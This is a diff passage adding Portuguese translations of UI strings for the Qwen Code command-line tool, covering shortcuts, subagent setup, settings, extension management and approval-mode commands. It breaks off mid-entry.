'Toggle shell mode': 'Alternar modo shell', + 'Open command menu': 'Abrir menu de comandos', + 'Add file context': 'Adicionar contexto de arquivo', + 'Accept suggestion / Autocomplete': 'Aceitar sugestão / Autocompletar', + 'Reverse search history': 'Pesquisa reversa no histórico', + 'Press ? again to close': 'Pressione ? novamente para fechar', + // Keyboard shortcuts panel descriptions + 'for shell mode': 'para modo shell', + 'for commands': 'para comandos', + 'for file paths': 'para caminhos de arquivo', + 'to clear input': 'para limpar entrada', + 'to cycle approvals': 'para alternar aprovações', + 'to quit': 'para sair', + 'for newline': 'para nova linha', + 'to clear screen': 'para limpar a tela', + 'to search history': 'para pesquisar no histórico', + 'to paste images': 'para colar imagens', + 'for external editor': 'para editor externo', + 'Jump through words in the input': 'Pular palavras na entrada', + 'Close dialogs, cancel requests, or quit application': + 'Fechar diálogos, cancelar solicitações ou sair do aplicativo', + 'New line': 'Nova linha', + 'New line (Alt+Enter works for certain linux distros)': + 'Nova linha (Alt+Enter funciona em certas distros linux)', + 'Clear the screen': 'Limpar a tela', + 'Open input in external editor': 'Abrir entrada no editor externo', + 'Send message': 'Enviar mensagem', + 'Initializing...': 'Inicializando...', + 'Connecting to MCP servers... ({{connected}}/{{total}})': + 'Conectando aos servidores MCP... ({{connected}}/{{total}})', + 'Type your message or @path/to/file': + 'Digite sua mensagem ou @caminho/do/arquivo', + '? for shortcuts': '? para atalhos', + "Press 'i' for INSERT mode and 'Esc' for NORMAL mode.": + "Pressione 'i' para modo INSERÇÃO e 'Esc' para modo NORMAL.", + 'Cancel operation / Clear input (double press)': + 'Cancelar operação / Limpar entrada (pressionar duas vezes)', + 'Cycle approval modes': 'Alternar modos de aprovação', + 'Cycle through your prompt history': 'Alternar histórico de prompts', + 'For a full list of shortcuts, see {{docPath}}': + 'Para uma lista completa de atalhos, consulte {{docPath}}', + 'docs/keyboard-shortcuts.md': 'docs/keyboard-shortcuts.md', + 'for help on Qwen Code': 'para ajuda sobre o Qwen Code', + 'show version info': 'mostrar informações de versão', + 'submit a bug report': 'enviar um relatório de erro', + 'About Qwen Code': 'Sobre o Qwen Code', + Status: 'Status', + + // ============================================================================ + // System Information Fields + // ============================================================================ + 'Qwen Code': 'Qwen Code', + Runtime: 'Runtime', + OS: 'SO', + Auth: 'Autenticação', + 'CLI Version': 'Versão da CLI', + 'Git Commit': 'Commit do Git', + Model: 'Modelo', + Sandbox: 'Sandbox', + 'OS Platform': 'Plataforma do SO', + 'OS Arch': 'Arquitetura do SO', + 'OS Release': 'Versão do SO', + 'Node.js Version': 'Versão do Node.js', + 'NPM Version': 'Versão do NPM', + 'Session ID': 'ID da Sessão', + 'Auth Method': 'Método de Autenticação', + 'Base URL': 'URL Base', + Proxy: 'Proxy', + 'Memory Usage': 'Uso de Memória', + 'IDE Client': 'Cliente IDE', + + // ============================================================================ + // Commands - General + // ============================================================================ + 'Analyzes the project and creates a tailored QWEN.md file.': + 'Analisa o projeto e cria um arquivo QWEN.md personalizado.', + 'list available Qwen Code tools. Usage: /tools [desc]': + 'listar ferramentas Qwen Code disponíveis. Uso: /tools [desc]', + 'Available Qwen Code CLI tools:': 'Ferramentas CLI do Qwen Code disponíveis:', + 'No tools available': 'Nenhuma ferramenta disponível', + 'View or change the approval mode for tool usage': + 'Ver ou alterar o modo de aprovação para uso de ferramentas', + 'Invalid approval mode "{{arg}}". Valid modes: {{modes}}': + 'Modo de aprovação inválido "{{arg}}". Modos válidos: {{modes}}', + 'Approval mode set to "{{mode}}"': + 'Modo de aprovação definido como "{{mode}}"', + 'View or change the language setting': + 'Ver ou alterar a configuração de idioma', + 'change the theme': 'alterar o tema', + 'Select Theme': 'Selecionar Tema', + Preview: 'Visualizar', + '(Use Enter to select, Tab to configure scope)': + '(Use Enter para selecionar, Tab para configurar o escopo)', + '(Use Enter to apply scope, Tab to go back)': + '(Use Enter para aplicar o escopo, Tab para voltar)', + 'Theme configuration unavailable due to NO_COLOR env variable.': + 'Configuração de tema indisponível devido à variável de ambiente NO_COLOR.', + 'Theme "{{themeName}}" not found.': 'Tema "{{themeName}}" não encontrado.', + 'Theme "{{themeName}}" not found in selected scope.': + 'Tema "{{themeName}}" não encontrado no escopo selecionado.', + 'Clear conversation history and free up context': + 'Limpar histórico de conversa e liberar contexto', + 'Compresses the context by replacing it with a summary.': + 'Comprime o contexto substituindo-o por um resumo.', + 'open full Qwen Code documentation in your browser': + 'abrir documentação completa do Qwen Code no seu navegador', + 'Configuration not available.': 'Configuração não disponível.', + 'change the auth method': 'alterar o método de autenticação', + 'Copy the last result or code snippet to clipboard': + 'Copiar o último resultado ou trecho de código para a área de transferência', + + // ============================================================================ + // Commands - Agents + // ============================================================================ + 'Manage subagents for specialized task delegation.': + 'Gerenciar subagentes para delegação de tarefas especializadas.', + 'Manage existing subagents (view, edit, delete).': + 'Gerenciar subagentes existentes (ver, editar, excluir).', + 'Create a new subagent with guided setup.': + 'Criar um novo subagente com configuração guiada.', + + // ============================================================================ + // Agents - Management Dialog + // ============================================================================ + Agents: 'Agentes', + 'Choose Action': 'Escolher Ação', + 'Edit {{name}}': 'Editar {{name}}', + 'Edit Tools: {{name}}': 'Editar Ferramentas: {{name}}', + 'Edit Color: {{name}}': 'Editar Cor: {{name}}', + 'Delete {{name}}': 'Excluir {{name}}', + 'Unknown Step': 'Etapa Desconhecida', + 'Esc to close': 'Esc para fechar', + 'Enter to select, ↑↓ to navigate, Esc to close': + 'Enter para selecionar, ↑↓ para navegar, Esc para fechar', + 'Esc to go back': 'Esc para voltar', + 'Enter to confirm, Esc to cancel': 'Enter para confirmar, Esc para cancelar', + 'Enter to select, ↑↓ to navigate, Esc to go back': + 'Enter para selecionar, ↑↓ para navegar, Esc para voltar', + 'Invalid step: {{step}}': 'Etapa inválida: {{step}}', + 'No subagents found.': 'Nenhum subagente encontrado.', + "Use '/agents create' to create your first subagent.": + "Use '/agents create' para criar seu primeiro subagente.", + '(built-in)': '(integrado)', + '(overridden by project level agent)': + '(substituído por agente de nível de projeto)', + 'Project Level ({{path}})': 'Nível de Projeto ({{path}})', + 'User Level ({{path}})': 'Nível de Usuário ({{path}})', + 'Built-in Agents': 'Agentes Integrados', + 'Extension Agents': 'Agentes de Extensão', + 'Using: {{count}} agents': 'Usando: {{count}} agentes', + 'View Agent': 'Ver Agente', + 'Edit Agent': 'Editar Agente', + 'Delete Agent': 'Excluir Agente', + Back: 'Voltar', + 'No agent selected': 'Nenhum agente selecionado', + 'File Path: ': 'Caminho do Arquivo: ', + 'Tools: ': 'Ferramentas: ', + 'Color: ': 'Cor: ', + 'Description:': 'Descrição:', + 'System Prompt:': 'Prompt do Sistema:', + 'Open in editor': 'Abrir no editor', + 'Edit tools': 'Editar ferramentas', + 'Edit color': 'Editar cor', + '❌ Error:': '❌ Erro:', + 'Are you sure you want to delete agent "{{name}}"?': + 'Tem certeza que deseja excluir o agente "{{name}}"?', + + // ============================================================================ + // Agents - Creation Wizard + // ============================================================================ + 'Project Level (.qwen/agents/)': 'Nível de Projeto (.qwen/agents/)', + 'User Level (~/.qwen/agents/)': 'Nível de Usuário (~/.qwen/agents/)', + '✅ Subagent Created Successfully!': '✅ Subagente criado com sucesso!', + 'Subagent "{{name}}" has been saved to {{level}} level.': + 'O subagente "{{name}}" foi salvo no nível {{level}}.', + 'Name: ': 'Nome: ', + 'Location: ': 'Localização: ', + '❌ Error saving subagent:': '❌ Erro ao salvar subagente:', + 'Warnings:': 'Avisos:', + 'Name "{{name}}" already exists at {{level}} level - will overwrite existing subagent': + 'O nome "{{name}}" já existe no nível {{level}} - o subagente existente será substituído', + 'Name "{{name}}" exists at user level - project level will take precedence': + 'O nome "{{name}}" existe no nível de usuário - o nível de projeto terá precedência', + 'Name "{{name}}" exists at project level - existing subagent will take precedence': + 'O nome "{{name}}" existe no nível de projeto - o subagente existente terá precedência', + 'Description is over {{length}} characters': + 'A descrição tem mais de {{length}} caracteres', + 'System prompt is over {{length}} characters': + 'O prompt do sistema tem mais de {{length}} caracteres', + + // ============================================================================ + // Agents - Creation Wizard Steps + // ============================================================================ + 'Step {{n}}: Choose Location': 'Etapa {{n}}: Escolher Localização', + 'Step {{n}}: Choose Generation Method': + 'Etapa {{n}}: Escolher Método de Geração', + 'Generate with Qwen Code (Recommended)': 'Gerar com Qwen Code (Recomendado)', + 'Manual Creation': 'Criação Manual', + 'Describe what this subagent should do and when it should be used. (Be comprehensive for best results)': + 'Descreva o que este subagente deve fazer e quando deve ser usado. (Seja abrangente para melhores resultados)', + 'e.g., Expert code reviewer that reviews code based on best practices...': + 'ex: Revisor de código especialista que revisa código com base em melhores práticas...', + 'Generating subagent configuration...': + 'Gerando configuração do subagente...', + 'Failed to generate subagent: {{error}}': + 'Falha ao gerar subagente: {{error}}', + 'Step {{n}}: Describe Your Subagent': 'Etapa {{n}}: Descreva Seu Subagente', + 'Step {{n}}: Enter Subagent Name': 'Etapa {{n}}: Digite o Nome do Subagente', + 'Step {{n}}: Enter System Prompt': 'Etapa {{n}}: Digite o Prompt do Sistema', + 'Step {{n}}: Enter Description': 'Etapa {{n}}: Digite a Descrição', + + // ============================================================================ + // Agents - Tool Selection + // ============================================================================ + 'Step {{n}}: Select Tools': 'Etapa {{n}}: Selecionar Ferramentas', + 'All Tools (Default)': 'Todas as Ferramentas (Padrão)', + 'All Tools': 'Todas as Ferramentas', + 'Read-only Tools': 'Ferramentas de Somente Leitura', + 'Read & Edit Tools': 'Ferramentas de Leitura e Edição', + 'Read & Edit & Execution Tools': 'Ferramentas de Leitura, Edição e Execução', + 'All tools selected, including MCP tools': + 'Todas as ferramentas selecionadas, incluindo ferramentas MCP', + 'Selected tools:': 'Ferramentas selecionadas:', + 'Read-only tools:': 'Ferramentas de somente leitura:', + 'Edit tools:': 'Ferramentas de edição:', + 'Execution tools:': 'Ferramentas de execução:', + 'Step {{n}}: Choose Background Color': 'Etapa {{n}}: Escolher Cor de Fundo', + 'Step {{n}}: Confirm and Save': 'Etapa {{n}}: Confirmar e Salvar', + + // ============================================================================ + // Agents - Navigation & Instructions + // ============================================================================ + 'Esc to cancel': 'Esc para cancelar', + 'Press Enter to save, e to save and edit, Esc to go back': + 'Pressione Enter para salvar, e para salvar e editar, Esc para voltar', + 'Press Enter to continue, {{navigation}}Esc to {{action}}': + 'Pressione Enter para continuar, {{navigation}}Esc para {{action}}', + cancel: 'cancelar', + 'go back': 'voltar', + '↑↓ to navigate, ': '↑↓ para navegar, ', + 'Enter a clear, unique name for this subagent.': + 'Digite um nome claro e único para este subagente.', + 'e.g., Code Reviewer': 'ex: Revisor de Código', + 'Name cannot be empty.': 'O nome não pode estar vazio.', + "Write the system prompt that defines this subagent's behavior. Be comprehensive for best results.": + 'Escreva o prompt do sistema que define o comportamento deste subagente. Seja abrangente para melhores resultados.', + 'e.g., You are an expert code reviewer...': + 'ex: Você é um revisor de código especialista...', + 'System prompt cannot be empty.': 'O prompt do sistema não pode estar vazio.', + 'Describe when and how this subagent should be used.': + 'Descreva quando e como este subagente deve ser usado.', + 'e.g., Reviews code for best practices and potential bugs.': + 'ex: Revisa o código em busca de melhores práticas e erros potenciais.', + 'Description cannot be empty.': 'A descrição não pode estar vazia.', + 'Failed to launch editor: {{error}}': 'Falha ao iniciar editor: {{error}}', + 'Failed to save and edit subagent: {{error}}': + 'Falha ao salvar e editar subagente: {{error}}', + + // ============================================================================ + // Commands - General (continued) + // ============================================================================ + 'View and edit Qwen Code settings': 'Ver e editar configurações do Qwen Code', + Settings: 'Configurações', + 'To see changes, Qwen Code must be restarted. Press r to exit and apply changes now.': + 'Para ver as alterações, o Qwen Code deve ser reiniciado. Pressione r para sair e aplicar as alterações agora.', + 'The command "/{{command}}" is not supported in non-interactive mode.': + 'O comando "/{{command}}" não é suportado no modo não interativo.', + + // ============================================================================ + // Settings Labels + // ============================================================================ + 'Vim Mode': 'Modo Vim', + 'Disable Auto Update': 'Desativar Atualização Automática', + 'Attribution: commit': 'Atribuição: commit', + 'Terminal Bell Notification': 'Notificação Sonora do Terminal', + 'Enable Usage Statistics': 'Ativar Estatísticas de Uso', + Theme: 'Tema', + 'Preferred Editor': 'Editor Preferido', + 'Auto-connect to IDE': 'Conexão Automática com IDE', + 'Enable Prompt Completion': 'Ativar Autocompletar de Prompts', + 'Debug Keystroke Logging': 'Log de Depuração de Teclas', + 'Language: UI': 'Idioma: Interface', + 'Language: Model': 'Idioma: Modelo', + 'Output Format': 'Formato de Saída', + 'Hide Window Title': 'Ocultar Título da Janela', + 'Show Status in Title': 'Mostrar Status no Título', + 'Hide Tips': 'Ocultar Dicas', + 'Show Line Numbers in Code': 'Mostrar Números de Linhas no Código', + 'Show Citations': 'Mostrar Citações', + 'Custom Witty Phrases': 'Frases de Efeito Personalizadas', + 'Show Welcome Back Dialog': 'Mostrar Diálogo de Bem-vindo de Volta', + 'Enable User Feedback': 'Ativar Feedback do Usuário', + 'How is Qwen doing this session? (optional)': + 'Como o Qwen está se saindo nesta sessão? (opcional)', + Bad: 'Ruim', + Fine: 'Bom', + Good: 'Ótimo', + Dismiss: 'Ignorar', + 'Not Sure Yet': 'Não tenho certeza ainda', + 'Any other key': 'Qualquer outra tecla', + 'Disable Loading Phrases': 'Desativar Frases de Carregamento', + 'Screen Reader Mode': 'Modo de Leitor de Tela', + 'IDE Mode': 'Modo IDE', + 'Max Session Turns': 'Máximo de Turnos da Sessão', + 'Skip Next Speaker Check': 'Pular Verificação do Próximo Falante', + 'Skip Loop Detection': 'Pular Detecção de Loop', + 'Skip Startup Context': 'Pular Contexto de Inicialização', + 'Enable OpenAI Logging': 'Ativar Log do OpenAI', + 'OpenAI Logging Directory': 'Diretório de Log do OpenAI', + Timeout: 'Tempo Limite', + 'Max Retries': 'Máximo de Tentativas', + 'Disable Cache Control': 'Desativar Controle de Cache', + 'Memory Discovery Max Dirs': 'Descoberta de Memória Máx. Diretorios', + 'Load Memory From Include Directories': + 'Carregar Memória de Diretórios Incluídos', + 'Respect .gitignore': 'Respeitar .gitignore', + 'Respect .qwenignore': 'Respeitar .qwenignore', + 'Enable Recursive File Search': 'Ativar Pesquisa Recursiva de Arquivos', + 'Disable Fuzzy Search': 'Desativar Pesquisa Difusa', + 'Interactive Shell (PTY)': 'Shell Interativo (PTY)', + 'Show Color': 'Mostrar Cores', + 'Auto Accept': 'Aceitar Automaticamente', + 'Use Ripgrep': 'Usar Ripgrep', + 'Use Builtin Ripgrep': 'Usar Ripgrep Integrado', + 'Enable Tool Output Truncation': 'Ativar Truncamento de Saída de Ferramenta', + 'Tool Output Truncation Threshold': + 'Limite de Truncamento de Saída de Ferramenta', + 'Tool Output Truncation Lines': + 'Linhas de Truncamento de Saída de Ferramenta', + 'Folder Trust': 'Confiança de Pasta', + 'Vision Model Preview': 'Visualização de Modelo de Visão', + 'Tool Schema Compliance': 'Conformidade de Esquema de Ferramenta', + 'Experimental: Skills': 'Experimental: Habilidades', + + // Settings enum options + 'Auto (detect from system)': 'Automático (detectar do sistema)', + Text: 'Texto', + JSON: 'JSON', + Plan: 'Planejamento', + Default: 'Padrão', + 'Auto Edit': 'Edição Automática', + YOLO: 'YOLO', + 'toggle vim mode on/off': 'alternar modo vim ligado/desligado', + 'check session stats. Usage: /stats [model|tools]': + 'verificar estatísticas da sessão. Uso: /stats [model|tools]', + 'Show model-specific usage statistics.': + 'Mostrar estatísticas de uso específicas do modelo.', + 'Show tool-specific usage statistics.': + 'Mostrar estatísticas de uso específicas da ferramenta.', + 'exit the cli': 'sair da cli', + 'list configured MCP servers and tools, or authenticate with OAuth-enabled servers': + 'listar servidores e ferramentas MCP configurados, ou autenticar com servidores habilitados para OAuth', + 'Manage workspace directories': 'Gerenciar diretórios do workspace', + 'Add directories to the workspace. Use comma to separate multiple paths': + 'Adicionar diretórios ao workspace. Use vírgula para separar vários caminhos', + 'Show all directories in the workspace': + 'Mostrar todos os diretórios no workspace', + 'set external editor preference': 'definir preferência de editor externo', + 'Select Editor': 'Selecionar Editor', + 'Editor Preference': 'Preferência de Editor', + 'These editors are currently supported. Please note that some editors cannot be used in sandbox mode.': + 'Estes editores são suportados atualmente. Note que alguns editores não podem ser usados no modo sandbox.', + 'Your preferred editor is:': 'Seu editor preferido é:', + 'Manage extensions': 'Gerenciar extensões', + 'List active extensions': 'Listar extensões ativas', + 'Update extensions. Usage: update |--all': + 'Atualizar extensões. Uso: update |--all', + 'Disable an extension': 'Desativar uma extensão', + 'Enable an extension': 'Ativar uma extensão', + 'Install an extension from a git repo or local path': + 'Instalar uma extensão de um repositório git ou caminho local', + 'Uninstall an extension': 'Desinstalar uma extensão', + 'No extensions installed.': 'Nenhuma extensão instalada.', + 'Usage: /extensions update |--all': + 'Uso: /extensions update |--all', + 'Extension "{{name}}" not found.': 'Extensão "{{name}}" não encontrada.', + 'No extensions to update.': 'Nenhuma extensão para atualizar.', + 'Usage: /extensions install ': 'Uso: /extensions install ', + 'Installing extension from "{{source}}"...': + 'Instalando extensão de "{{source}}"...', + 'Extension "{{name}}" installed successfully.': + 'Extensão "{{name}}" instalada com sucesso.', + 'Failed to install extension from "{{source}}": {{error}}': + 'Falha ao instalar extensão de "{{source}}": {{error}}', + 'Usage: /extensions uninstall ': + 'Uso: /extensions uninstall ', + 'Uninstalling extension "{{name}}"...': + 'Desinstalando extensão "{{name}}"...', + 'Extension "{{name}}" uninstalled successfully.': + 'Extensão "{{name}}" desinstalada com sucesso.', + 'Failed to uninstall extension "{{name}}": {{error}}': + 'Falha ao desinstalar extensão "{{name}}": {{error}}', + 'Usage: /extensions {{command}} [--scope=]': + 'Uso: /extensions {{command}} [--scope=]', + 'Unsupported scope "{{scope}}", deve ser um de "user" ou "workspace"': + 'Escopo não suportado "{{scope}}", deve ser um de "user" ou "workspace"', + 'Extension "{{name}}" disabled for scope "{{scope}}"': + 'Extensão "{{name}}" desativada para o escopo "{{scope}}"', + 'Extension "{{name}}" enabled for scope "{{scope}}"': + 'Extensão "{{name}}" ativada para o escopo "{{scope}}"', + 'Do you want to continue? [Y/n]: ': 'Você deseja continuar? [Y/n]: ', + 'Do you want to continue?': 'Você deseja continuar?', + 'Installing extension "{{name}}".': 'Instalando extensão "{{name}}".', + '**Extensions may introduce unexpected behavior. Ensure you have investigated the extension source and trust the author.**': + '**As extensões podem introduzir comportamentos inesperados. Certifique-se de ter investigado a fonte da extensão e confie no autor.**', + 'This extension will run the following MCP servers:': + 'Esta extensão executará os seguintes servidores MCP:', + local: 'local', + remote: 'remoto', + 'This extension will add the following commands: {{commands}}.': + 'Esta extensão adicionará os seguintes comandos: {{commands}}.', + 'This extension will append info to your QWEN.md context using {{fileName}}': + 'Esta extensão anexará informações ao seu contexto QWEN.md usando {{fileName}}', + 'This extension will exclude the following core tools: {{tools}}': + 'Esta extensão excluirá as seguintes ferramentas principais: {{tools}}', + 'This extension will install the following skills:': + 'Esta extensão instalará as seguintes habilidades:', + 'This extension will install the following subagents:': + 'Esta extensão instalará os seguintes subagentes:', + 'Installation cancelled for "{{name}}".': + 'Instalação cancelada para "{{name}}".', + '--ref and --auto-update are not applicable for marketplace extensions.': + '--ref e --auto-update não são aplicáveis para extensões de marketplace.', + 'Extension "{{name}}" installed successfully and enabled.': + 'Extensão "{{name}}" instalada com sucesso e ativada.', + 'Installs an extension from a git repository URL, local path, or claude marketplace (marketplace-url:plugin-name).': + 'Instala uma extensão de uma URL de repositório git, caminho local ou marketplace do claude (marketplace-url:plugin-name).', + 'The github URL, local path, or marketplace source (marketplace-url:plugin-name) of the extension to install.': + 'A URL do github, caminho local ou fonte do marketplace (marketplace-url:plugin-name) da extensão para instalar.', + 'The git ref to install from.': 'A referência git para instalar.', + 'Enable auto-update for this extension.': + 'Ativar atualização automática para esta extensão.', + 'Enable pre-release versions for this extension.': + 'Ativar versões de pré-lançamento para esta extensão.', + 'Acknowledge the security risks of installing an extension and skip the confirmation prompt.': + 'Reconhecer os riscos de segurança de instalar uma extensão e pular o prompt de confirmação.', + 'The source argument must be provided.': + 'O argumento fonte deve ser fornecido.', + 'Extension "{{name}}" successfully uninstalled.': + 'Extensão "{{name}}" desinstalada com sucesso.', + 'Uninstalls an extension.': 'Desinstala uma extensão.', + 'The name or source path of the extension to uninstall.': + 'O nome ou caminho da fonte da extensão para desinstalar.', + 'Please include the name of the extension to uninstall as a positional argument.': + 'Inclua o nome da extensão para desinstalar como um argumento posicional.', + 'Enables an extension.': 'Ativa uma extensão.', + 'The name of the extension to enable.': 'O nome da extensão para ativar.', + 'The scope to enable the extenison in. If not set, will be enabled in all scopes.': + 'O escopo para ativar a extensão. Se não definido, será ativada em todos os escopos.', + 'Extension "{{name}}" successfully enabled for scope "{{scope}}".': + 'Extensão "{{name}}" ativada com sucesso para o escopo "{{scope}}".', + 'Extension "{{name}}" successfully enabled in all scopes.': + 'Extensão "{{name}}" ativada com sucesso em todos os escopos.', + 'Invalid scope: {{scope}}. Please use one of {{scopes}}.': + 'Escopo inválido: {{scope}}. Use um de {{scopes}}.', + 'Disables an extension.': 'Desativa uma extensão.', + 'The name of the extension to disable.': 'O nome da extensão para desativar.', + 'The scope to disable the extenison in.': + 'O escopo para desativar a extensão.', + 'Extension "{{name}}" successfully disabled for scope "{{scope}}".': + 'Extensão "{{name}}" desativada com sucesso para o escopo "{{scope}}".', + 'Extension "{{name}}" successfully updated: {{oldVersion}} → {{newVersion}}.': + 'Extensão "{{name}}" atualizada com sucesso: {{oldVersion}} → {{newVersion}}.', + 'Unable to install extension "{{name}}" due to missing install metadata': + 'Não foi possível instalar a extensão "{{name}}" devido à falta de metadados de instalação', + 'Extension "{{name}}" is already up to date.': + 'A extensão "{{name}}" já está atualizada.', + 'Updates all extensions or a named extension to the latest version.': + 'Atualiza todas as extensões ou uma extensão nomeada para a última versão.', + 'Update all extensions.': 'Atualizar todas as extensões.', + 'Either an extension name or --all must be provided': + 'Um nome de extensão ou --all deve ser fornecido', + 'Lists installed extensions.': 'Lista as extensões instaladas.', + 'Link extension failed to install.': 'Falha ao instalar link da extensão.', + 'Extension "{{name}}" linked successfully and enabled.': + 'Extensão "{{name}}" vinculada com sucesso e ativada.', + 'Links an extension from a local path. Updates made to the local path will always be reflected.': + 'Vincula uma extensão de um caminho local. Atualizações feitas no caminho local sempre serão refletidas.', + 'The name of the extension to link.': 'O nome da extensão para vincular.', + 'Set a specific setting for an extension.': + 'Define uma configuração específica para uma extensão.', + 'Name of the extension to configure.': 'Nome da extensão para configurar.', + 'The setting to configure (name or env var).': + 'A configuração para configurar (nome ou var env).', + 'The scope to set the setting in.': 'O escopo para definir a configuração.', + 'List all settings for an extension.': + 'Listar todas as configurações de uma extensão.', + 'Name of the extension.': 'Nome da extensão.', + 'Extension "{{name}}" has no settings to configure.': + 'A extensão "{{name}}" não tem configurações para configurar.', + 'Settings for "{{name}}":': 'Configurações para "{{name}}":', + '(workspace)': '(workspace)', + '(user)': '(usuário)', + '[not set]': '[não definido]', + '[value stored in keychain]': '[valor armazenado no chaveiro]', + 'Value:': 'Valor:', + 'Manage extension settings.': 'Gerenciar configurações de extensão.', + 'You need to specify a command (set or list).': + 'Você precisa especificar um comando (set ou list).', + + // ============================================================================ + // Plugin Choice / Marketplace + // ============================================================================ + 'No plugins available in this marketplace.': + 'Nenhum plugin disponível neste marketplace.', + 'Select a plugin to install from marketplace "{{name}}":': + 'Selecione um plugin para instalar do marketplace "{{name}}":', + 'Plugin selection cancelled.': 'Seleção de plugin cancelada.', + 'Select a plugin from "{{name}}"': 'Selecione um plugin de "{{name}}"', + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel': + 'Use ↑↓ ou j/k para navegar, Enter para selecionar, Escape para cancelar', + '{{count}} more above': '{{count}} mais acima', + '{{count}} more below': '{{count}} mais abaixo', + 'manage IDE integration': 'gerenciar integração com IDE', + 'check status of IDE integration': 'verificar status da integração com IDE', + 'install required IDE companion for {{ideName}}': + 'instalar companion IDE necessário para {{ideName}}', + 'enable IDE integration': 'ativar integração com IDE', + 'disable IDE integration': 'desativar integração com IDE', + 'IDE integration is not supported in your current environment. To use this feature, run Qwen Code in one of these supported IDEs: VS Code or VS Code forks.': + 'A integração com IDE não é suportada no seu ambiente atual. Para usar este recurso, execute o Qwen Code em um destes IDEs suportados: VS Code ou forks do VS Code.', + 'Set up GitHub Actions': 'Configurar GitHub Actions', + 'Configure terminal keybindings for multiline input (VS Code, Cursor, Windsurf, Trae)': + 'Configurar atalhos de terminal para entrada multilinhas (VS Code, Cursor, Windsurf, Trae)', + 'Please restart your terminal for the changes to take effect.': + 'Reinicie seu terminal para que as alterações tenham efeito.', + 'Failed to configure terminal: {{error}}': + 'Falha ao configurar terminal: {{error}}', + 'Could not determine {{terminalName}} config path on Windows: APPDATA environment variable is not set.': + 'Não foi possível determinar o caminho de configuração de {{terminalName}} no Windows: variável de ambiente APPDATA não está definida.', + '{{terminalName}} keybindings.json exists but is not a valid JSON array. Please fix the file manually or delete it to allow automatic configuration.': + '{{terminalName}} keybindings.json existe mas não é um array JSON válido. Corrija o arquivo manualmente ou exclua-o para permitir a configuração automática.', + 'File: {{file}}': 'Arquivo: {{file}}', + 'Failed to parse {{terminalName}} keybindings.json. The file contains invalid JSON. Please fix the file manually or delete it to allow automatic configuration.': + 'Falha ao analisar {{terminalName}} keybindings.json. O arquivo contém JSON inválido. Corrija o arquivo manualmente ou exclua-o para permitir a configuração automática.', + 'Error: {{error}}': 'Erro: {{error}}', + 'Shift+Enter binding already exists': 'Atalho Shift+Enter já existe', + 'Ctrl+Enter binding already exists': 'Atalho Ctrl+Enter já existe', + 'Existing keybindings detected. Will not modify to avoid conflicts.': + 'Atalhos existentes detectados. Não serão modificados para evitar conflitos.', + 'Please check and modify manually if needed: {{file}}': + 'Verifique e modifique manualmente se necessário: {{file}}', + 'Added Shift+Enter and Ctrl+Enter keybindings to {{terminalName}}.': + 'Adicionados atalhos Shift+Enter e Ctrl+Enter para {{terminalName}}.', + 'Modified: {{file}}': 'Modificado: {{file}}', + '{{terminalName}} keybindings already configured.': + 'Atalhos de {{terminalName}} já configurados.', + 'Failed to configure {{terminalName}}.': + 'Falha ao configurar {{terminalName}}.', + 'Your terminal is already configured for an optimal experience with multiline input (Shift+Enter and Ctrl+Enter).': + 'Seu terminal já está configurado para uma experiência ideal com entrada multilinhas (Shift+Enter e Ctrl+Enter).', + 'Could not detect terminal type. Supported terminals: VS Code, Cursor, Windsurf, and Trae.': + 'Não foi possível detectar o tipo de terminal. Terminais suportados: VS Code, Cursor, Windsurf e Trae.', + 'Terminal "{{terminal}}" is not supported yet.': + 'O terminal "{{terminal}}" ainda não é suportado.', + + // ============================================================================ + // Commands - Language + // ============================================================================ + 'Invalid language. Available: {{options}}': + 'Idioma inválido. Disponíveis: {{options}}', + 'Language subcommands do not accept additional arguments.': + 'Subcomandos de idioma não aceitam argumentos adicionais.', + 'Current UI language: {{lang}}': 'Idioma atual da interface: {{lang}}', + 'Current LLM output language: {{lang}}': + 'Idioma atual da saída do LLM: {{lang}}', + 'LLM output language not set': 'Idioma de saída do LLM não definido', + 'Set UI language': 'Definir idioma da interface', + 'Set LLM output language': 'Definir idioma de saída do LLM', + 'Usage: /language ui [{{options}}]': 'Uso: /language ui [{{options}}]', + 'Usage: /language output ': 'Uso: /language output ', + 'Example: /language output 中文': 'Exemplo: /language output Português', + 'Example: /language output English': 'Exemplo: /language output Inglês', + 'Example: /language output 日本語': 'Exemplo: /language output Japonês', + 'Example: /language output Português': 'Exemplo: /language output Português', + 'UI language changed to {{lang}}': + 'Idioma da interface alterado para {{lang}}', + 'LLM output language set to {{lang}}': + 'Idioma de saída do LLM definido para {{lang}}', + 'LLM output language rule file generated at {{path}}': + 'Arquivo de regra de idioma de saída do LLM gerado em {{path}}', + 'Please restart the application for the changes to take effect.': + 'Reinicie o aplicativo para que as alterações tenham efeito.', + 'Failed to generate LLM output language rule file: {{error}}': + 'Falha ao gerar arquivo de regra de idioma de saída do LLM: {{error}}', + 'Invalid command. Available subcommands:': + 'Comando inválido. Subcomandos disponíveis:', + 'Available subcommands:': 'Subcomandos disponíveis:', + 'To request additional UI language packs, please open an issue on GitHub.': + 'Para solicitar pacotes de idiomas de interface adicionais, abra um problema no GitHub.', + 'Available options:': 'Opções disponíveis:', + 'Set UI language to {{name}}': 'Definir idioma da interface para {{name}}', + + // ============================================================================ + // Commands - Approval Mode + // ============================================================================ + 'Tool Approval Mode': 'Modo de Aprovação de Ferramenta', + 'Current approval mode: {{mode}}': 'Modo de aprovação atual: {{mode}}', + 'Available approval modes:': 'Modos de aprovação disponíveis:', + 'Approval mode changed to: {{mode}}': + 'Modo de aprovação alterado para: {{mode}}', + 'Approval mode changed to: {{mode}} (saved to {{scope}} settings{{location}})': + 'Modo de aprovação alterado para: {{mode}} (salvo nas configurações de {{scope}}{{location}})', + 'Usage: /approval-mode [--session|--user|--project]': + 'Uso: /approval-mode [--session|--user|--project]', + + 'Scope subcommands do not accept additional arguments.': + 'Subcomandos de escopo não aceitam argumentos adicionais.', + 'Plan mode - Analyze only, do not modify files or execute commands': + 'Modo planejamento - Apenas analisa, não modifica arquivos nem executa comandos', + 'Default mode - Require approval for file edits or shell commands': + 'Modo padrão - Exige aprovação para edições de arquivos ou comandos shell', + 'Auto-edit mode - Automatically approve file edits': + 'Modo auto-edição - Aprova automaticamente edições de arquivos', + 'YOLO mode - Automatically approve all tools': + 'Modo YOLO - Aprova automaticamente todas as ferramentas', + '{{mode}} mode': 'Modo {{mode}}', + 'Settings service is not available; unable to persist the approval mode.': + 'Serviço de configurações não disponível; não foi possível persistir o modo de aprovação.', + 'Failed to save approval mode: {{error}}': + 'Falha ao salvar modo de aprovação: {{error}}', + 'Failed to change approval mode: {{error}}': + 